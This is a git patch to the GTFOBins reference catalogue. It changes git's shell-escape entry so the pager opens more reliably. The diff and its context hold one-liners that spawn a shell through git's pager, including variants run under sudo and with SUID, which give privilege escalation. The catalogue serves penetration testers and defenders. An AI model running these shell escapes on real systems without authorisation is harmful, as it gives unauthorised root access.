From b8493f916d6356f3ae0cb4e2945ccbe156352a79 Mon Sep 17 00:00:00 2001 From: Syed Umar Arfeen <18597330+Anon-Exploiter@users.noreply.github.com> Date: Sun, 23 Jun 2019 17:16:13 +0200 Subject: [PATCH] Increase the probability that the pager is called by Git `git help config` produces a much longer output, hopefully longer than the terminal window. Close #62 --- _gtfobins/git.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/_gtfobins/git.md b/_gtfobins/git.md index 2e9f889..f66c874 100644 --- a/_gtfobins/git.md +++ b/_gtfobins/git.md @@ -4,13 +4,13 @@ functions: - code: PAGER='sh -c "exec sh 0<&1"' git -p help - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. code: | - git -p help + git help config !/bin/sh sudo: - code: PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. code: | - sudo git -p help + sudo git help config !/bin/sh limited-suid: - code: PAGER='sh -c "exec sh 0<&1"' ./git -p help